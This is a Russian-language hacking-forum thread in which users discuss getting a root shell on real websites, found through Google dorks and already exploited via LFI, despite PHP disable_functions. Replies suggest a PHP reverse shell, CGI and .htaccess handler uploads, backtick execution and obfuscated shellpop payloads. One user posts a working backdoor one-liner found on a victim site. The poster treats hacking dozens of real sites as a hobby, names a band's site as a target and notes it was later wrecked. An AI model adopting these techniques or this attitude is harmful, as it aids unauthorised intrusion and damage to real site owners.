• XSS.stack #1 – первый литературный журнал от юзеров форума

Как сделать web шелл если disable_functions выставлены? (PHP)

zdestuta

(L1) cache
Пользователь
Регистрация
04.06.2024
Сообщения
749
Реакции
373
Накопилось N-ное количество сайтов на которых RCE через LFI работает на ура (phpinfo вываливает например), однако в PHP конфиге в disable_functions что-то вроде этого:
Код:
disk_total_space, diskfreespace, exec, system, popen, proc_open, proc_nice, shell_exec, passthru, dl, pcntl_alarm, pcntl_async_signals, pcntl_errno, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_rfork, pcntl_setpriority, pcntl_signal_dispatch, pcntl_signal_get_handler, pcntl_signal, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_unshare, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig

А хочется шелл, чтобы linpeas/winpeas скрипт запустить как привык и за'own'ить сервак полностью.

Может быть есть какие-то варианты как это обойти?

По идее конечно можно PHP сплоиты для privesс поискать (или даже написать), но как-то лень, сайты невкусные, интересен сам рут шелл на сервак.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Привет!
Скинь пример "RCE через LFI" где ты нашел, чтобы было понятно в какую сторону крутиться (одного параметра хватит для понимания)
 
Привет!
Скинь пример "RCE через LFI" где ты нашел, чтобы было понятно в какую сторону крутиться (одного параметра хватит для понимания)

Вот один (из десятков) конкретный пример (кликабельно) - вываливает phpinfo()

Screenshot_2024-08-18_07-06-53.png


Но никакие system() , exec(), shell_exec() и прочие обратные кавычки не дают веб-шелла, ругается что "функция не найдена" что логично так как функции эти disabled.
Даже с более хитрыми эксплуатациями через pcntl_ тоже "засада" так как они тоже disabled.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Советую профазить все доступные функции и враперы (в бурпу лист всунь)
И бруть page={{value:}}

1723978680528.png

Потом исходя, что включено можно чекнуть
 
Советую профазить все доступные функции и враперы (в бурпу лист всунь)
И бруть page={{value:}}

Посмотреть вложение 92827
Потом исходя, что включено можно чекнуть
Да, дата враппер там disabled, поэтому я и пошёл по пути фильтр чейн :cool:
А что мне даст RFI ? Ну загружу я туда свой PHP код - ему всё так же нельзя будет system() и прочее сделать.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да, дата враппер там disabled, поэтому я и пошёл по пути фильтр чейн :cool:
А что мне даст RFI ? Ну загружу я туда свой PHP код - ему всё так же нельзя будет system() и прочее сделать.
Не знаю может опрокинуть шелл?(https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)
Уже легче будет т.к накодить на других функциях легче и проще будет
 
CGI/FastCGI
попробуй залить perl/python/bash/whatever скрипт в папку cgi-bin и чмоднуть 0755, или создать папку и залить в неё htaccess с нужным хендлером.

`
= shell_exec() = disabled
 
Не буду плодить темы, поэтому спрошу тут.
На ресурсе есть бекдор вида:

PHP:
if(isset($_REQUEST['error404'])) { @extract($_REQUEST); $error404($error_id); }

отключены функции system, exec и остальные. Как можно зааплоадиться на данный сервер с помощью него еще?
show_source юзал, но доступа к бд сканер не нашел.
 
zdestuta bugphp Какой итог?
Dread Pirate Roberts сделал как я отписал и проверил? (shell_exec disable, a потом чекаешь бектрик)

Бэктрик (а я так понял это `shell command here` обратные кавычки) оно понимает как раз как shell_exec() то есть на инжект чего-то типа:

Screenshot_2024-08-19_13-13-57.png


Выдаёт вот это:

Screenshot_2024-08-19_13-14-43.png


Мне если что сайт это и сервер на котором он - не принципиален, случайный таргет для баловства один из десятков.
Если кто вдруг сломает сайт нормльно, то жизнь этой рок-группе (я даже не знаю что за группа, гыг, надо что-ли глянуть их творчество...) плиз хотя бы не портьте, мыж не звери и вообще "художника может обидеть каждый" :)

Но есть сайты по тому же типу (десятки) где лежит много вкусного, ну как минимум интересного, но так же запрешён любой шелл, ради этого тему и завёл.
И есть ещё десятки сайтов (подозреваю сильно больше, это те что с ходу нашёл) по тому же типу где шелл даже и разрешён, но до них просто руки не дошли "доломать", пока интересно искать и сам процесс.

В общем благодаря статье про гугл дорки от Litara_B я получил весёлую игрульку-развлекульку на вечера, ну типа семок или ирисок :) оторваться невозможно! сижу пруф получил взлома и дальше погнал искать и ломать, составляя список "тут уже ломал". Походу это психологическая зависимость от взлома что-ли образовалась?... :)
 
Последнее редактирование:
zdestuta bugphp Какой итог?
Dread Pirate Roberts сделал как я отписал и проверил? (shell_exec disable, a потом чекаешь бектрик)

ну, все что ты писал про скан - я в курсе был и так, а бектрик выдает Fatal error: Uncaught Error: Call to undefined function echo()
данные от бд у меня есть, но туда законнектиться удаленно не получается.
 
Последнее редактирование:
zdestuta bugphp Какой итог?
Dread Pirate Roberts сделал как я отписал и проверил? (shell_exec disable, a потом чекаешь бектрик)
Код:
php > echo(`uname`);
PHP Warning:  shell_exec() has been disabled for security reasons in php shell code on line 1
php > echo(ini_get('disable_functions'));
shell_exec

я подозреваю, что у тебя это работает, потому что ты меняешь неправильный php.ini - для CGI, а не для CLI
 
попробуй залить perl/python/bash/whatever скрипт в папку cgi-bin и чмоднуть 0755, или создать папку и залить в неё htaccess с нужным хендлером.
Обычно все эти сайты висят на хостинге и за настройку пыхи отвечает не юзверь , и делать там без экспа на пыху нечего. И вот это уже выглядит лучше. А в питоне есть подобная защита по типу вырубленных функ как в пхп?
 
А чего вы вообще уперлись в этот полудохлый и порезанный правами php? Ну вот вам варианты, чекайте сразу реверс. Три бакса жалко на сервак?


А вообще, учитесь патчить моды nginx, поднимать права + ебать апачь. Или вы так долго рассужать будете. Про энди я промолчу, это местный гений. Там советы пиздец.


UPD: У кого не хватает башки понять, что в "голом" виде это вряд-ли сработат, для вас shellpop есть. Ему хоть и шесть лет, но он отрабаывает вполне. Надо запрос обфусцировать, ибо это не дело

Ну и питон 2.7 пригодится, а то в эрроры поплывете. ;)
 
Последнее редактирование:
Накопилось N-ное количество сайтов на которых RCE через LFI работает на ура (phpinfo вываливает например), однако в PHP конфиге в disable_functions что-то вроде этого:
Код:
disk_total_space, diskfreespace, exec, system, popen, proc_open, proc_nice, shell_exec, passthru, dl, pcntl_alarm, pcntl_async_signals, pcntl_errno, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_rfork, pcntl_setpriority, pcntl_signal_dispatch, pcntl_signal_get_handler, pcntl_signal, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_unshare, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig

А хочется шелл, чтобы linpeas/winpeas скрипт запустить как привык и за'own'ить сервак полностью.

Может быть есть какие-то варианты как это обойти?

По идее конечно можно PHP сплоиты для privesс поискать (или даже написать), но как-то лень, сайты невкусные, интересен сам рут шелл на сервак.
Вопрос: а зачем тебе системные функции? ты файлы читать\писать можешь?
Из того что отключено вижу только работу с потоками\процессами\прямым исполнением шелл-команд.

Тебе нужен нормальное исполнение команд?
Посмотри в сторону cgi + на хосте посмотри какие скрипты в кроне, или какие юзаются, т.е. такие "флаги" забираются через методы похожие на рут.
 
А чего вы вообще уперлись в этот полудохлый и порезанный правами php? Ну вот вам варианты, чекайте сразу реверс. Три бакса жалко на сервак?


А вообще, учитесь патчить моды nginx, поднимать права + ебать апачь. Или вы так долго рассужать будете. Про энди я промолчу, это местный гений. Там советы пиздец.


UPD: У кого не хватает башки понять, что в "голом" виде это вряд-ли сработат, для вас shellpop есть. Ему хоть и шесть лет, но он отрабаывает вполне. Надо запрос обфусцировать, ибо это не дело

Ну и питон 2.7 пригодится, а то в эрроры поплывете. ;)

Ну и как без system(), exec() и shell_exec() на PHP сделать реверс шелл? (да хоть прямой web shell, ничем не хуже реверса он, я запускал linpeas.sh и под ним для повышения привилегий)
Через phpinfo() и прочие "обычные" функции, не дающие linux shell команды делать, удиви :)
 
Тебе нужен нормальное исполнение команд?
Посмотри в сторону cgi + на хосте посмотри какие скрипты в кроне, или какие юзаются, т.е. такие "флаги" забираются через методы похожие на рут.
Это по сути через PHP выполнить то что linpeas.sh делает? Трудоёмко однако.
 
Нет, не совсем. Да и не получится, т.к. опять же упрешся в то что команды нельзя вероятнее всего)
Стукни в лс готов помочь.
Тут смотреть нужно на каждом отдельном проекте, а там может соберется методика какая то.
 
Нет, не совсем. Да и не получится, т.к. опять же упрешся в то что команды нельзя вероятнее всего)
Стукни в лс готов помочь.
Тут смотреть нужно на каждом отдельном проекте, а там может соберется методика какая то.
Тут прикол в том, что в образовательных целях, то есть мне ломать этот сайт и не надо вовсе, просто столкнулся с таким и решил спросить на будущее.
И зря наверное пошарил https://ravagedband.com тут - кто-то сломал музыкантов совсем (белый экран кажет, сайта нет), ух бессердечные люди, просил не ломать сам сайт (зачем?) просто он для упражнений пригодный :)
А такой прикольный "тренировочный таргет" был... взяли и "игрульку" разломали...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх